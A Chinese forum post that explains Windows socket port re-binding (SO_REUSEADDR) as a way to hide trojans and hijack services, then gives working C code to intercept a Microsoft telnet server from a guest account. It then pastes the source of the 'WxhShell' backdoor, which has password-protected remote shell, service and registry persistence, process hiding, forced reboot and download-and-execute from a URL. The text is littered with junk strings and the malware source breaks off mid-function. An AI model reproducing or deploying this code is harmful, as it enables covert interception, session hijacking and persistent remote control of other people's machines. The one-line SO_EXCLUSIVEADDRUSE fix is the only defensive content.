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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pe.Ml7o"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b]T@gJ4H=  
5Q W}nRCZ  
  saddr.sin_family = AF_INET; ZWS2q4/S  
\Wr,<Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =>qTNh*'  
A{N\)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eNbpwne  
b?8)7.{F{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1fH<VgF`  
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  这意味着什么?意味着可以进行如下的攻击: "N 3)Qr  
J? .F\`N)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zyu/|O g  
(!3;X"l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hkege5{  
##cnFQCB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3@_Elu  
zyFUl%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L0L2Ns  
M/pMs 6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0mTr-`s  
xR?V,uV'$&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Od##U6e`  
%Ds+GM-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ab2Q \+,  
I-kWS 4  
  #include "u492^  
  #include !X]8dyW  
  #include uH:YKH':/  
  #include    V%*b@zv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :5b0np!  
  int main() ~E)fpGJ  
  { 9%tobo@J~n  
  WORD wVersionRequested; ?s2^zT  
  DWORD ret; 2:SO_O4C  
  WSADATA wsaData; v+xB7w  
  BOOL val; 6~xBi(m`  
  SOCKADDR_IN saddr; Ls}7VKl'   
  SOCKADDR_IN scaddr; l$XPIC~H  
  int err; Rko M~`CT  
  SOCKET s; XKS8K4"  
  SOCKET sc; 2' ] KTHm  
  int caddsize; /TV= $gB`  
  HANDLE mt; Dvc&RG  
  DWORD tid;   Dd,2;#_  
  wVersionRequested = MAKEWORD( 2, 2 ); 5)UQWnd5  
  err = WSAStartup( wVersionRequested, &wsaData ); dg_Gs>?2  
  if ( err != 0 ) { QI_4*  
  printf("error!WSAStartup failed!\n"); ) #+^ sAO  
  return -1; ]PR#W_&q  
  } vUesV%9hq  
  saddr.sin_family = AF_INET; R#W&ery  
   ~b)74M/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /?*]lH.  
,R2U`EO;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  }ptq )p  
  saddr.sin_port = htons(23); a`!@+6yC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) te,[f  
  { Y`BRh9Sa  
  printf("error!socket failed!\n"); (V?:]  
  return -1; z~{&}Em ~  
  } =Vw 5q},3  
  val = TRUE; 69G`2_eKCp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oD.r `]k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `$TRleSi  
  { CU)|-*uiK  
  printf("error!setsockopt failed!\n"); 3\:y8|  
  return -1; 'hqBo|  
  } ,xfO;yd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B*3Y !!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gckI.[!b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IzLQhDJ1  
y[?-@7i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qfoD  
  { {d<;BLA  
  ret=GetLastError(); ~*W!mlg  
  printf("error!bind failed!\n"); {Ui =b+  
  return -1; eq4C+&O&  
  } Wwujh2g"0|  
  listen(s,2); EYX$pz(x;  
  while(1) &#yR;{  
  { 7msAhz  
  caddsize = sizeof(scaddr); T0zn,ej  
  //接受连接请求 \S~Vx!9w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .iD*>M:W  
  if(sc!=INVALID_SOCKET) !\Xm!I8  
  { JW.=T)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9f+>ix,ek*  
  if(mt==NULL) C3NdE_E  
  { \ZU1J b1c  
  printf("Thread Creat Failed!\n"); umi5Wb<  
  break; 5L,}e<S$  
  } sarq`%zrk  
  } Xx:F)A8O  
  CloseHandle(mt); \</b4iR)LT  
  } -Go 7"j  
  closesocket(s); :Bu2,EL*O  
  WSACleanup(); L|@y&di  
  return 0; <FI-zca  
  }   ma'FRt  
  DWORD WINAPI ClientThread(LPVOID lpParam) '6y}ZE[  
  { MY#   
  SOCKET ss = (SOCKET)lpParam; B=8Iu5m  
  SOCKET sc; UFAL1c<V  
  unsigned char buf[4096]; Xce0~\_ A  
  SOCKADDR_IN saddr; *jIqAhs0{  
  long num; mE%$HZ}  
  DWORD val; _j?e~w&0b  
  DWORD ret; 29CINC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a ] =  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }v:jncp  
  saddr.sin_family = AF_INET; o]:3H8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ig]iT  
  saddr.sin_port = htons(23); kVK/9dy-F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OCZaQ33  
  { s, k  
  printf("error!socket failed!\n"); LJk%#yV|_  
  return -1; &F STpBu  
  } %1}K""/  
  val = 100; D(-yjY8aG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w }Uhd ,  
  { o*U]v   
  ret = GetLastError(); !l]dR@e  
  return -1; Wjhvxk  
  } &nBa=Enf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AdRX`[ik  
  { <\kr1qH H  
  ret = GetLastError(); mKo C.J  
  return -1; [ i#zP  
  } 4vBL6!z:Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~ .;<  Bj  
  { ;JZS^Wa  
  printf("error!socket connect failed!\n"); -46C!6a  
  closesocket(sc); J+d1&Tw&  
  closesocket(ss); ok|qyN+  
  return -1; Z R/#V7Pj  
  } fd-q3 _f  
  while(1) y6]vl=^L  
  { z~`b\A,$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zg-2C>(6a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jck}" N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p-.n3AL  
  num = recv(ss,buf,4096,0); !uQPc   
  if(num>0) ( Jz;W<E  
  send(sc,buf,num,0); pPd#N'\*  
  else if(num==0) 9]q:[zm^  
  break; yR(x+ Gs{]  
  num = recv(sc,buf,4096,0); T)r9-wOq  
  if(num>0) a!O0,y  
  send(ss,buf,num,0); Q0EiEX)  
  else if(num==0) 8Q_SRwN  
  break; >jD[X5Y  
  } 4Y[1aQ(%  
  closesocket(ss); Y>'|oygHA  
  closesocket(sc); cM&{+el  
  return 0 ; 5mb]Q)f9-  
  } EkziAON  
jH_JmYd  
$56,$K`H  
========================================================== xyI}y(CN1  
7jdb)l\p=  
下边附上一个代码,,WXhSHELL As>_J=8} 3  
/ X1 x  
========================================================== yn#X;ja-  
l\C.",CEcc  
#include "stdafx.h" g)-bW+]q  
_3ZYtmn.  
#include <stdio.h> "I(xgx*  
#include <string.h> i':C)7  
#include <windows.h> cTG|fdgMW  
#include <winsock2.h> hP15qKy  
#include <winsvc.h> W*2U="t  
#include <urlmon.h> TqnT S0fx  
>y,-v:Vy  
#pragma comment (lib, "Ws2_32.lib") H)n9O/u  
#pragma comment (lib, "urlmon.lib") aA,!<^&}  
x&0vKo;  
#define MAX_USER   100 // 最大客户端连接数 S\;V4@<Kn  
#define BUF_SOCK   200 // sock buffer qT+%;(  
#define KEY_BUFF   255 // 输入 buffer MdW]MW{  
uC cYPvm  
#define REBOOT     0   // 重启 SJHr_bawd  
#define SHUTDOWN   1   // 关机 -,U3fts  
aTt 12Sc  
#define DEF_PORT   5000 // 监听端口 F]<Xv"  
( SvWv m  
#define REG_LEN     16   // 注册表键长度 {E@Lft-  
#define SVC_LEN     80   // NT服务名长度 A,a.8!*}vd  
T:; 2  
// 从dll定义API , N)/w1?I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^0 -:G6H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :5{wf Am  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <[-nF"Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pS:4CNI{  
o,)?!{k}  
// wxhshell配置信息 ;5)P6S.D  
struct WSCFG { ]?(-[  
  int ws_port;         // 监听端口 dUhY\v oQ  
  char ws_passstr[REG_LEN]; // 口令 Q637N|01  
  int ws_autoins;       // 安装标记, 1=yes 0=no `G}TG(  
  char ws_regname[REG_LEN]; // 注册表键名 (=om,g}  
  char ws_svcname[REG_LEN]; // 服务名 maNl^i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3eF -8Z(f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r[*Vqcz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <_-hRbS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~Yy>zUH^X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X"fb;sGT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xsD($_  
j-lfMEa$o  
}; %4gg@Z9  
ATK_DE Au  
// default Wxhshell configuration 6}FP  
struct WSCFG wscfg={DEF_PORT, Jt}Bpg!J  
    "xuhuanlingzhe", 85LAY aw  
    1,  z62;cv  
    "Wxhshell",  A|<jX}  
    "Wxhshell", C@'h<[v`1v  
            "WxhShell Service", VT\F]Oa#  
    "Wrsky Windows CmdShell Service", o%IA}e7PAa  
    "Please Input Your Password: ", {y_98N  
  1, 3R.W >U  
  "http://www.wrsky.com/wxhshell.exe", U`2e{>'4t  
  "Wxhshell.exe" T[g[&K1Y  
    }; 9[.8cg*  
,)vDeU  
// 消息定义模块 f}9zgWU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f,kZ\Ia'r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @}}$zv6l,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;6>2"{NW  
char *msg_ws_ext="\n\rExit."; ]7Tkkw$  
char *msg_ws_end="\n\rQuit."; (KDD e}f  
char *msg_ws_boot="\n\rReboot..."; )p<ExMIxd  
char *msg_ws_poff="\n\rShutdown..."; gaZu;t2u  
char *msg_ws_down="\n\rSave to "; -;^j:L{   
n $$SNWgM  
char *msg_ws_err="\n\rErr!"; tp63@L|Q  
char *msg_ws_ok="\n\rOK!"; d?A 0MKnl  
t.xxSU5~%  
char ExeFile[MAX_PATH]; AP'*Nh@Ik(  
int nUser = 0; I|^;B 8[  
HANDLE handles[MAX_USER]; {y=j?lD  
int OsIsNt; K/IWH[  
i OW#>66d  
SERVICE_STATUS       serviceStatus; Ab{ K<:l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9_Be0xgJ3^  
2AT5  
// 函数声明 H|3:6x  
int Install(void); RBs-_o+%  
int Uninstall(void); 2N: ,Q8~  
int DownloadFile(char *sURL, SOCKET wsh); A#EDk U,  
int Boot(int flag); t/VD31  
void HideProc(void); "@iK' c^  
int GetOsVer(void); wl#@lOv-P  
int Wxhshell(SOCKET wsl); VY |_d k  
void TalkWithClient(void *cs); _Xk.p_uh  
int CmdShell(SOCKET sock); RI(DXWM|h  
int StartFromService(void); CDQW !XHc  
int StartWxhshell(LPSTR lpCmdLine); K,+LG7ec  
J}v}~Cv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vq(0OPj8r[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n<O}hM ZT  
Yc_8r+;(  
// 数据结构和表定义 (l^3Z3zf&  
SERVICE_TABLE_ENTRY DispatchTable[] = ,,%i;  
{ <m)$K  
{wscfg.ws_svcname, NTServiceMain}, D$ dfNiCH  
{NULL, NULL} v+46 QK|I&  
}; /:~\5}tW  
tn(JC%?^  
// 自我安装 9g'LkP  
int Install(void) ?XrQ53  
{ BJ$9v bhZN  
  char svExeFile[MAX_PATH]; {< )1q ;  
  HKEY key; <D<4BnZ(  
  strcpy(svExeFile,ExeFile); "p_J8  
$rv8K j+  
// 如果是win9x系统,修改注册表设为自启动 Wh+{mvu#  
if(!OsIsNt) { I&}L*Z?`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 OY3A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]zE;Tw.S  
  RegCloseKey(key); [^Os kJ4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x@P y>f2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b=yx7v"r  
  RegCloseKey(key); A9I{2qW9+Z  
  return 0; #5cEV'm;  
    } +ga k#M"n\  
  } HHDl8lo  
} U}yW<#$+  
else { T!+5[  
b6nsg|&#  
// 如果是NT以上系统,安装为系统服务 } ()5"QB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y"bByd|6  
if (schSCManager!=0) 0m%|U'm|j  
{ gd%NkxmW  
  SC_HANDLE schService = CreateService ~ $Tkn_w#  
  ( <"{qk2LS1  
  schSCManager, !=;+%C&8y  
  wscfg.ws_svcname, @$S+Ne[<  
  wscfg.ws_svcdisp, S%bCyK%p  
  SERVICE_ALL_ACCESS, gw#5jW\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XewVcRo  
  SERVICE_AUTO_START, 27 ]':A4_  
  SERVICE_ERROR_NORMAL, TSTl+W  
  svExeFile, ]zj9A]i:a  
  NULL, nKPYOY8^  
  NULL, s )noo  
  NULL, `eE&5.   
  NULL, Y-kt.X/Z-  
  NULL :o0JY= 5  
  ); ;&< {ey  
  if (schService!=0) "?]{ %-u  
  { LJd5;so-  
  CloseServiceHandle(schService); diJLZikk  
  CloseServiceHandle(schSCManager); LLk(l#K*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 77C'*tt1]  
  strcat(svExeFile,wscfg.ws_svcname); o3Yb7h9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e- :yb^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7S '% E  
  RegCloseKey(key); W5EDVP ur  
  return 0; mg^I=kpk  
    } ~zHjMo2  
  } =5J7Hw&K  
  CloseServiceHandle(schSCManager); e<3K;Q  
}  aC$B2  
} R<\F:9  
RN$1bxY  
return 1; /1"(cQ%?  
} x'+T/zw  
|jI#"LbF  
// 自我卸载 xf<at->  
int Uninstall(void) mw_~*Nc'9  
{ tjIl-IQ  
  HKEY key; {@eJtF+2  
1C< uz29  
if(!OsIsNt) { u[@l~gwL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l1T m`7}  
  RegDeleteValue(key,wscfg.ws_regname); g[1gF&  
  RegCloseKey(key); %-)H^i~]%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AJh w  
  RegDeleteValue(key,wscfg.ws_regname); 1n=lqn/  
  RegCloseKey(key); &~8oQC-eF  
  return 0; ( }{G`N>.{  
  } uD\?(LM  
} <v)1<*I  
} sF|5XjQ  
else { DgUT5t1  
;XF:\<+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cJ{ Nh;"  
if (schSCManager!=0) I;e=0!9U  
{ G9Y#kBr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C`$n[kCJ  
  if (schService!=0) kh {p%<r{  
  { 4]yOF_8h  
  if(DeleteService(schService)!=0) { _"E%xM*r  
  CloseServiceHandle(schService); E)TN,@%  
  CloseServiceHandle(schSCManager); 6VS4y-N  
  return 0; wP6 Fl L  
  } A0o-:n Fu  
  CloseServiceHandle(schService); ti5mIW\  
  } GC>e26\:  
  CloseServiceHandle(schSCManager); 2Z-ljD&  
} !Y$h"<M  
} LgKaPg$  
_Tf4WFu2  
return 1; /M|2 62%  
} UYk/v]ZA  
K?[q% W]%  
// 从指定url下载文件 xDG2ws=@D  
int DownloadFile(char *sURL, SOCKET wsh) + fC=UAZ  
{ u$>4F|=T  
  HRESULT hr; /RNIIY~w  
char seps[]= "/"; kW *f.!  
char *token; tQ8.f  
char *file; dYG,_ji  
char myURL[MAX_PATH]; v'U{/ ,x  
char myFILE[MAX_PATH]; % 5m/  
qAAX;N  
strcpy(myURL,sURL); Ir {OheJ  
  token=strtok(myURL,seps); ruc++@ J@  
  while(token!=NULL) xAK6pDp  
  { lt ^GvWg  
    file=token; FoNSM$x  
  token=strtok(NULL,seps); [h^2Y&Au5  
  } M^O2\G#B  
*C5R}9O5  
GetCurrentDirectory(MAX_PATH,myFILE); &:/hrighH  
strcat(myFILE, "\\"); T V<'8 L  
strcat(myFILE, file); R%{ a1r>9h  
  send(wsh,myFILE,strlen(myFILE),0); Rtb7|  
send(wsh,"...",3,0); K@sV\"U(*E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f({Ei`|  
  if(hr==S_OK) {{B%f.   
return 0; ix([mQg  
else q#T/  
return 1; 01}C^iD  
gG]Eeu+z   
} H| 8Qp*  
>d,jKlh^.%  
// 系统电源模块 v16 JgycM  
int Boot(int flag) 6A>dhU  
{ 3  ^>l\,  
  HANDLE hToken; <QA6/Ef7  
  TOKEN_PRIVILEGES tkp; Jl5c [F  
X WUWY  
  if(OsIsNt) { ox(j^x]NC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jE}33"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &^#VN%{  
    tkp.PrivilegeCount = 1; H7d/X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +wEac g>>E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *]AdUEV?  
if(flag==REBOOT) { -db_E#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jll-`b 1  
  return 0; P* w9 ,  
} }\%Fi/6Z{  
else { K%a%a6k`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Km(n7Ah"  
  return 0; $"FQj4%d  
} jBgP$g  
  } @ o3T  
  else { =<{np  
if(flag==REBOOT) { )+[ gd/<C.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UmKI1l  
  return 0; iH/6M  
} d{SG Cr 9d  
else { ;nodjbr,j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eO?p*"p"F  
  return 0; } ud0&Oe{  
} )6q,>whI]  
} r[BVvX/,F  
l8I /0`_  
return 1;  swK-/$#  
} F({HP)9b  
hEBY8=gK  
// win9x进程隐藏模块 JT-J#Ag  
void HideProc(void) }|g\ 8jq  
{ *:Vq:IU[D  
Yzh"1|O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0\[Chja  
  if ( hKernel != NULL ) E^.nc~  
  { ^Pbk#|$rU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nd$W0YN:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .#rJ+.2  
    FreeLibrary(hKernel); t=Xv;=daB  
  } umiBj)r  
E%r k[wI  
return; ;$smH=I  
} d8[J@M53|T  
L1cI`9  
// 获取操作系统版本 \P.I)n`8 y  
int GetOsVer(void) X~lVVBO  
{ :-/M?,Q"  
  OSVERSIONINFO winfo; t .7?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \/: {)T~  
  GetVersionEx(&winfo); k< y>)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \.-}adKg  
  return 1; .NYbi@bk(<  
  else -I&m:A$4*  
  return 0; )%`^xR  
} fA+ ,TEB~d  
v2B0q4*BS?  
// 客户端句柄模块 fh](K'P#^  
int Wxhshell(SOCKET wsl) p-Kz-+A[  
{ / c AUl  
  SOCKET wsh; DNr@u/>vB  
  struct sockaddr_in client; M luVx'  
  DWORD myID; :cF[(i/k4  
^Wt*  
  while(nUser<MAX_USER) xT   
{ .(^ ,z&  
  int nSize=sizeof(client); m9.{[K"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] lrWgm  
  if(wsh==INVALID_SOCKET) return 1; n[G&ksQI  
2/"u5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IIn"=g=9  
if(handles[nUser]==0) G/7cK\^u  
  closesocket(wsh); m 8aITd8  
else [_1G@S6Ex  
  nUser++; PE5R7)~A  
  } +RyjF~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VXR>]HUF  
v^d]~ !h  
  return 0; CF?1R  
} (O.d>  
C~o7X^[R\  
// 关闭 socket j)<IRD^  
void CloseIt(SOCKET wsh) >zXsNeGQR  
{ &6ZD136  
closesocket(wsh); BYVY)<v/  
nUser--; q,93nhs "  
ExitThread(0); *X+79vG:  
} Rm255z p  
-uMSe~  
// 客户端请求句柄 3|'>`!hb  
void TalkWithClient(void *cs) #~C]ZrK  
{ xI($Uu}S  
D-5VC9{  
  SOCKET wsh=(SOCKET)cs; 0w&27wW  
  char pwd[SVC_LEN]; ki?S~'a  
  char cmd[KEY_BUFF]; 56zL"TF`  
char chr[1]; B?'#4J  
int i,j; {>DE sO  
qz0;p=$8Z  
  while (nUser < MAX_USER) { Y]/% t{Y  
, udTvI  
if(wscfg.ws_passstr) { O(D ~_O.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2O.i\cH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] 6TATPIr  
  //ZeroMemory(pwd,KEY_BUFF); ms*(9l.hOK  
      i=0; _kU:Z  
  while(i<SVC_LEN) { o<COm9)i  
0K`#>}W#X  
  // 设置超时 y5?RVlKJ  
  fd_set FdRead; w5Ay)lz  
  struct timeval TimeOut; NQ(1   
  FD_ZERO(&FdRead); WtG~('g>&  
  FD_SET(wsh,&FdRead); @+Si?8\  
  TimeOut.tv_sec=8; BJM.iXU)[  
  TimeOut.tv_usec=0; `*_mP<Ag  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |wiqGzAr{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $$ Oey)*  
aMWmLpv4'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zO).T M_  
  pwd=chr[0]; p i %< Sy  
  if(chr[0]==0xd || chr[0]==0xa) { {^CY..3 A  
  pwd=0; y(CS5v#FG  
  break; {khqu:HUn`  
  } dQV;3^iUY  
  i++; YQHw1  
    } }<@b=_>S  
WD]p U  
  // 如果是非法用户,关闭 socket QdL`|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o0ifp=V y  
} ADDSCY=,  
++6`sMJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pEBM3r!X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (tIo:j  
i;/5Y'KZ  
while(1) { xJ>fm%{5  
OB Otuu.  
  ZeroMemory(cmd,KEY_BUFF); p "n$!ilbm  
9 7GV2]-M  
      // 自动支持客户端 telnet标准   =t9\^RIx)?  
  j=0; Cs9.&Y  
  while(j<KEY_BUFF) { 8u6:=fxb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VH9dleZ  
  cmd[j]=chr[0]; /{+y2.{j  
  if(chr[0]==0xa || chr[0]==0xd) { D8Ykg >B;&  
  cmd[j]=0; 95 ;x=ju  
  break; B@&4i?yJ  
  } C G0 M  
  j++; DI:]GED" =  
    } NdMb)l)m  
nuk*.Su  
  // 下载文件 =Xi07_8Ic<  
  if(strstr(cmd,"http://")) { 3Dng 1}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ABQ('#78  
  if(DownloadFile(cmd,wsh)) ';3{T:I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "P 7nNa  
  else ; <&*rnH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ar__ Pf6r  
  } 06O2:5zF  
  else { JMrEFk  
\NgYTZ  
    switch(cmd[0]) { N5Q[nd  
  c3 jx+Q  
  // 帮助 ,\_1w  
  case '?': { ,K9*%rW)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WI-&x '  
    break; lAb*fafQy  
  } 2oVSn"  
  // 安装 O(fM?4w  
  case 'i': { 7gf05Z'=  
    if(Install()) hQYL`Dni  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `uOT+B%R  
    else \MyLc/Gh5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 11o.c;  
    break; vdAr|4^qB  
    } #|L8tuWW  
  // 卸载 +R3k-' >  
  case 'r': { 39:bzUIF  
    if(Uninstall()) PVe xa|aaX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @.$|w>>T  
    else #.rdQ,)<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5rw 7;'  
    break; 4!Fo$9  
    } wPQH(~k:  
  // 显示 wxhshell 所在路径 7j@Hs[ *  
  case 'p': { idLWe9gC  
    char svExeFile[MAX_PATH]; C 3^JAP  
    strcpy(svExeFile,"\n\r"); -`'I{g&A  
      strcat(svExeFile,ExeFile); R%{<mno/_  
        send(wsh,svExeFile,strlen(svExeFile),0); SIBtmm1W  
    break;  7''??X  
    } A,JmX  
  // 重启 W0dSsjNio  
  case 'b': { zZL6z4g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uaT!(Y6  
    if(Boot(REBOOT)) Q_"]+i]s@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ck: T,F{}  
    else { `, OG7hg  
    closesocket(wsh); @5N]ZQ9  
    ExitThread(0); smlpD3?va  
    } ;rF\kX&Jh  
    break; 2;k*@k-t  
    } Sdp&jZY  
  // 关机 <c2E'U)X  
  case 'd': { MI/MhkS ?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 94h]~GqNi  
    if(Boot(SHUTDOWN)) &v56#lG  
